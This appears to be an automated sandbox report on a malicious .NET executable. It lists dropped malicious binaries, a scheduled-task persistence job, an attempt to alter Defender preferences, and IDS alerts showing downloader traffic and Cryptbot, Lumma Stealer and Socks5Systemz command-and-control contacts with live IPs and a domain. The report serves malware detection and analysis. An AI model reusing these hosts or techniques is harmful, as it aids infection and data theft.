Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<hr>.<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address>.</body></html>.

C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3128802
Entropy (8bit):	7.997337285515625
Encrypted:	true
SSDEEP:
MD5:	569BDA6BDE88B1E2DFEB814608202480
SHA1:	93A9E1513FD2F9797EE4939CFB705D697774652D
SHA-256:	22DBDD7FD3DCF6ED7C4326654F16371000C1DF848B1703C65F9ECB09E157E6C5
SHA-512:	73D9E2E4A4330F00EB273705068F7D2CE6D5E5072FE4A8780475D0FE6874DA6F1F58E2EB9DAEBBCC97429679D82634E47A6F4FDC3837189BA4C8DFB35119DD6B
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	7.195615791858742
Encrypted:	false
SSDEEP:
MD5:	83766CED82D461DE3D8D68E0B07762B8
SHA1:	F040642E544F33054EC425A6A7C5C60DD071D664
SHA-256:	022326B50FF5CA67D60C2ABB4BB22639A1408820AC54EAA21DA8013A8A875B29
SHA-512:	82A616E873B0C28DA7D220A2DADC9A18A111232E271236E3930BEFD6495BFBBCB02A495D1AF76E615DFC41C08AC22C2684DDD3CCB327C4B9EA97972D4D95F0A6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........s.<...o...o...o.dio...o.d\o...o.dho...o.jQo...o...o4..o.dmo...o.dXo...o.d_o...oRich...o........PE..L......e.....................t......].............@..........................0.............................................\|...x.... ..................................................................@............................................text...4........................... ..`.data...(].......\..................@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\bMvfdBTccYfZYKRCwN.job

Download File

Process:	C:\Windows\SysWOW64\schtasks.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	3.494397728767297
Encrypted:	false
SSDEEP:
MD5:	173BC5F542196311EF89E9B35BAC3AE6
SHA1:	B1ECEB7F064486DFAC30D484D0CC5872EC5294CA
SHA-256:	1F7BDF383FFF79E7B23CFC4A094E0C27E82439319E81F3EF4ACEA35DE2EEA444
SHA-512:	A17C65FD1A4192CB148DD51877412F7776D076CA21977297795E9067BF0AD01C9F6B8BC1BCFD0D1E4563E88129A56C3271A6E2159BD49F168B14AE11A3686092
Malicious:	false
Reputation:	unknown
Preview:	.....mfl...H...%..:bF.l.....<... .....s...............................9.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.2.8.9.7...t.m.p.\.I.n.s.t.a.l.l...e.x.e.....I.s. ./.m.K.d.i.d.L. .3.8.5.1.2.1. ./.S...-.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.7.z.S.2.8.9.7...t.m.p.....T.I.N.A.-.P.C.\.t.i.n.a...................0.................6.............................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.3940205125740635
Encrypted:	false
SSDEEP:
MD5:	F484323BBFCED86D5D387BC04E7D430F
SHA1:	595042240456CCAD496AB280C99770D06C022CA7
SHA-256:	FAB26C105561F084A8EB70E17C6AE1417AF29D62F738B179ED926162C75E8456
SHA-512:	98F6810F92CEB31FA7AD06804B15A050341F89FB4A79324729CEEBDC4A38590689718DDB43E839E4EE62E3FF565A3DF722CFA7F6E865061BFE9170704ABCD050
Malicious:	false
Reputation:	unknown
Preview:	regfK...K....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...?................................................................................................................................................................................................................................................................................................................................................]...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.837326145256008
Encrypted:	false
SSDEEP:
MD5:	C1028F4DC91171021CC811DEC5CBD173
SHA1:	72358DE1D13924E08B33CE14A9D1E0BB0E04DFB1
SHA-256:	8D4075306F058EFA27EBCCDA57983F28F196141049701D07E044B7EA17F21B12
SHA-512:	72DC710CB1DE2D86121A7FAF4FE93D64B8A0FB9C9C7848A7A1ACA9BC429040CA8565C48861F53107A9709AAB2235DF6953AEF9282F382BE960344CD1E08735A9
Malicious:	false
Reputation:	unknown
Preview:	Executing (MSFT_MpPreference)->Add()...ERROR:...Description = Generic failure...

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.99934925527989
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	1'957'376 bytes
MD5:	731200ce89a30b22a5530838e57862f3
SHA1:	0c86827c47e040d82869846c68bedb9d8afbcde0
SHA256:	b39525df56e9d5f26067add74133154b651ca91d4201302ce505444d00ac6693
SHA512:	6c82f5949d05e3175e87d669447b90fec190b56b1317bcebbfb61fd52d434bf445e2d0c7b21eaa8de3859091a252128e3bf827943357cf6b10de36b071153a5d
SSDEEP:	24576:amQnf57/NafVbxZe63ml3dpxzWwo5sryh5f9QfdiYratJbFJKdx2eZo1Ga7rjNk:FOTIdD29po5so5CfdiYrsbvKH2eta/p
TLSH:	659533533D9BC0A7EE1AC332C046687473BAB8FE566194B75153885417C5AE02FA3BEC
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....1.f............................^.... ........@.. .......................@............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x5df25e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F8310A [Sat Sep 28 16:38:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1df20c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e0000	0x5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1df0d4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1dd264	0x1dd400	44e0e5a9d675f2623c8aed0ee75f9bd4	False	0.9990316224135674	data	7.999695640081768	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1e0000	0x5f8	0x600	1ee04fb57f071c2cd881157ac69fff4a	False	0.4427083333333333	data	4.1773381407129655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e2000	0xc	0x200	ff248c275193ee76d804132952857e9e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1e00a0	0x368	data			0.4380733944954128
RT_MANIFEST	0x1e0408	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-29T00:53:22.228726+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:22.389873+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:22.395389+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49708	103.130.147.211	80	TCP
2024-09-29T00:53:22.414425+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49709	80.66.75.114	80	TCP
2024-09-29T00:53:22.562433+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:22.905840+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49712	176.113.115.95	80	TCP
2024-09-29T00:53:23.055806+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49711	194.58.114.223	80	TCP
2024-09-29T00:53:23.070542+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49713	147.45.60.44	80	TCP
2024-09-29T00:53:27.435119+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:27.435119+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49710	103.130.147.211	80	TCP
2024-09-29T00:53:39.760918+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49720	84.38.182.221	80	TCP
2024-09-29T00:53:46.245583+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49724	84.38.182.221	80	TCP
2024-09-29T00:53:49.463861+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.9	53223	1.1.1.1	53	UDP
2024-09-29T00:53:49.990822+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.9	49725	188.114.96.3	443	TCP
2024-09-29T00:53:50.147943+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49725	188.114.96.3	443	TCP
2024-09-29T00:53:50.147943+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49725	188.114.96.3	443	TCP
2024-09-29T00:53:50.707875+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.9	49726	188.114.96.3	443	TCP
2024-09-29T00:53:51.135862+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49726	188.114.96.3	443	TCP
2024-09-29T00:53:51.135862+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49726	188.114.96.3	443	TCP
2024-09-29T00:53:51.234927+0200	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.9	49727	84.38.182.221	80	TCP
2024-09-29T00:54:30.282657+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49749	185.208.158.248	80	TCP
2024-09-29T00:54:33.789150+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49749	185.208.158.248	80	TCP
2024-09-29T00:54:34.620083+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49761	185.208.158.248	80	TCP
2024-09-29T00:54:35.431380+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49764	185.208.158.248	80	TCP
2024-09-29T00:54:36.255598+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49766	185.208.158.248	80	TCP
2024-09-29T00:54:37.079410+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49768	185.208.158.248	80	TCP
2024-09-29T00:54:37.912409+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49769	185.208.158.248	80	TCP
2024-09-29T00:54:38.747367+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49770	185.208.158.248	80	TCP
2024-09-29T00:54:39.102341+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49770	185.208.158.248	80	TCP
2024-09-29T00:54:39.922170+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49771	185.208.158.248	80	TCP
2024-09-29T00:54:40.783282+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49772	185.208.158.248	80	TCP
2024-09-29T00:54:41.675458+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49773	185.208.158.248	80	TCP
2024-09-29T00:54:42.495806+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49774	185.208.158.248	80	TCP
2024-09-29T00:54:43.349703+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49775	185.208.158.248	80	TCP
2024-09-29T00:54:44.193480+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49776	185.208.158.248	80	TCP
2024-09-29T00:54:45.007464+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49777	185.208.158.248	80	TCP
2024-09-29T00:54:45.832532+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49778	185.208.158.248	80	TCP
2024-09-29T00:54:46.770962+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49779	185.208.158.248	80	TCP
2024-09-29T00:54:47.649373+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49780	185.208.158.248	80	TCP
2024-09-29T00:54:48.459420+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49781	185.208.158.248	80	TCP
2024-09-29T00:54:49.363261+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49782	185.208.158.248	80	TCP
2024-09-29T00:54:50.177945+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49783	185.208.158.248	80	TCP
2024-09-29T00:54:50.989307+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49784	185.208.158.248	80	TCP
2024-09-29T00:54:51.833423+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49785	185.208.158.248	80	TCP
2024-09-29T00:54:52.649919+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49786	185.208.158.248	80	TCP
2024-09-29T00:54:53.501497+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49787	185.208.158.248	80	TCP
2024-09-29T00:54:53.850200+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49787	185.208.158.248	80	TCP
2024-09-29T00:54:54.687697+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49788	185.208.158.248	80	TCP
2024-09-29T00:54:55.036246+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49788	185.208.158.248	80	TCP
2024-09-29T00:54:55.860168+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49789	185.208.158.248	80	TCP
2024-09-29T00:54:56.211408+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49789	185.208.158.248	80	TCP
2024-09-29T00:54:57.054248+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49790	185.208.158.248	80	TCP
2024-09-29T00:54:57.875033+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:58.233062+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:58.581336+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49791	185.208.158.248	80	TCP
2024-09-29T00:54:59.464490+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49792	185.208.158.248	80	TCP
2024-09-29T00:55:00.282712+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49793	185.208.158.248	80	TCP
2024-09-29T00:55:01.121547+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49794	185.208.158.248	80	TCP
2024-09-29T00:55:02.026780+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49795	185.208.158.248	80	TCP
2024-09-29T00:55:02.859428+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:03.215043+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:03.569044+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49796	185.208.158.248	80	TCP
2024-09-29T00:55:04.392752+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49797	185.208.158.248	80	TCP
2024-09-29T00:55:04.744226+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49797	185.208.158.248	80	TCP
2024-09-29T00:55:05.565444+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49798	185.208.158.248	80	TCP
2024-09-29T00:55:06.385924+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49799	185.208.158.248	80	TCP
2024-09-29T00:55:07.228632+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49800	185.208.158.248	80	TCP
2024-09-29T00:55:08.034584+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49801	185.208.158.248	80	TCP
2024-09-29T00:55:08.850966+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49802	185.208.158.248	80	TCP
2024-09-29T00:55:10.419178+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49803	185.208.158.248	80	TCP
2024-09-29T00:55:10.849747+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49803	185.208.158.248	80	TCP
2024-09-29T00:55:11.660651+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49804	185.208.158.248	80	TCP
2024-09-29T00:55:12.502522+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49805	185.208.158.248	80	TCP
2024-09-29T00:55:13.369604+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49806	185.208.158.248	80	TCP
2024-09-29T00:55:15.023978+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49807	185.208.158.248	80	TCP
2024-09-29T00:55:15.877739+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49808	185.208.158.248	80	TCP
2024-09-29T00:55:16.730391+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49809	185.208.158.248	80	TCP
2024-09-29T00:55:17.550042+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49810	185.208.158.248	80	TCP
2024-09-29T00:55:18.396968+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49811	185.208.158.248	80	TCP
2024-09-29T00:55:19.365756+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49812	185.208.158.248	80	TCP
2024-09-29T00:55:20.199937+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49813	185.208.158.248	80	TCP
2024-09-29T00:55:20.556260+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49813	185.208.158.248	80	TCP
2024-09-29T00:55:21.382709+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.9	49814	185.208.158.248	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 00:53:14.957631111 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:14.962507010 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:14.962577105 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:14.962871075 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:14.967639923 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:15.576119900 CEST	80	49705	45.91.200.135	192.168.2.9
Sep 29, 2024 00:53:15.593038082 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:15.593086004 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:15.593178988 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:15.596472979 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:15.596492052 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:15.618323088 CEST	49705	80	192.168.2.9	45.91.200.135
Sep 29, 2024 00:53:16.305166006 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.305308104 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.309475899 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.309497118 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.309771061 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.352638960 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.364376068 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.411415100 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.523381948 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.523478985 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.523536921 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.525876999 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.525911093 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.525927067 CEST	49706	443	192.168.2.9	173.231.16.77
Sep 29, 2024 00:53:16.525933981 CEST	443	49706	173.231.16.77	192.168.2.9
Sep 29, 2024 00:53:16.553664923 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:16.553729057 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:16.553808928 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:16.554161072 CEST	49707	443	192.168.2.9	34.117.59.81
Sep 29, 2024 00:53:16.554178953 CEST	443	49707	34.117.59.81	192.168.2.9
Sep 29, 2024 00:53:17.017642021 CEST	443	49707	34.117.59.81	192.168.2.9
